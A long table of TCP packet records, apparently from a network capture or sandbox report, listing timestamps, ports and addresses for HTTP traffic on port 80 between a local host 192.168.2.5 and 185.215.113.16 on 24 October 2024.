Oct 24, 2024 08:38:14.222202063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.222218037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.222423077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.222532988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.222549915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.222603083 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.222651958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.245471954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245532990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245547056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245601892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.245635986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245650053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245662928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245673895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245686054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.245723963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.245798111 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279372931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279386997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279400110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279443026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279453993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279464960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279480934 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279493093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279498100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279511929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279511929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279511929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279511929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279511929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279531956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279551983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279556036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279567003 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279570103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279582977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279594898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279608965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279620886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279633045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279644012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279645920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279645920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279654026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279665947 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279665947 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279673100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279680014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279694080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.279750109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279750109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.279750109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290249109 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290272951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290285110 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290378094 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290395975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290407896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290407896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290409088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290421009 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290426016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290433884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290445089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290451050 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290458918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290472031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290488005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290488005 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290498972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290522099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290522099 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290534973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290539980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290548086 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290575027 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290575981 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290595055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290676117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290688038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290708065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290720940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290721893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290734053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.290735960 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290765047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290765047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.290790081 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.299923897 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.299997091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300009966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300029993 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300044060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300046921 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300055981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300071955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300082922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300137997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300148010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300158978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300172091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300187111 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300245047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300266027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300271034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300271034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300276995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300327063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300340891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300344944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300388098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300422907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300440073 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300470114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300482035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300510883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300510883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300559044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300571918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300594091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300605059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300616026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300616980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300632000 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300638914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300645113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300657988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300672054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300672054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300690889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300709009 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300710917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300761938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300777912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300789118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300800085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300812960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300825119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300848007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300848961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300870895 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300904036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300915956 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300928116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300940990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.300976992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.300976992 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301000118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301023006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301034927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301043034 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301064968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301076889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301076889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301116943 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301148891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301161051 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301175117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301198959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301208019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301219940 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301237106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301244974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301244974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301256895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301270962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301279068 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301280022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301281929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301312923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301312923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301482916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301505089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301516056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301527023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301527977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301541090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301553965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301579952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301579952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301614046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301647902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301651001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301651001 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301661015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301697969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301697969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301743984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301755905 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301764011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301776886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301789999 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301795006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301795006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301804066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301809072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301825047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301831961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301837921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301850080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301862001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.301881075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301881075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.301938057 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302052021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302074909 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302087069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302113056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302113056 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302129030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302140951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302155972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302166939 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302166939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302166939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302177906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.302198887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302198887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.302263975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.333971024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.334070921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.334081888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.334094048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.334105015 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.334117889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.334196091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.334254980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.339167118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339178085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339189053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339210987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339221954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339234114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339243889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.339250088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.339335918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.362483978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362540007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362550020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362571955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362585068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362591982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362596989 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362603903 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362608910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362637997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.362679005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362690926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362703085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.362817049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.362838030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.395862103 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.395874977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.395888090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.395984888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.395986080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396006107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396018028 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396028996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396035910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396039963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396051884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396084070 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396084070 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396101952 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396131992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396142960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396162033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396174908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396183014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396186113 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396199942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396209955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396209955 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396212101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396224022 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396249056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396260023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396260023 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396321058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396352053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396363020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396373987 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396384954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396390915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396397114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396414042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396469116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396569014 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396579027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396589041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396600962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.396611929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396651983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.396651983 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407304049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407330036 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407342911 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407354116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407365084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407378912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407397985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407412052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407423973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407443047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407463074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407476902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407517910 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407530069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407535076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407561064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407568932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407568932 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407573938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407584906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407604933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407615900 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407633066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407639980 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407644033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407665014 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407699108 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407752037 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407766104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407795906 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407804012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407809973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407831907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407831907 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:14.407840967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:14.407851934 CEST	80	60982	185.215.113.16	192.168.2.5
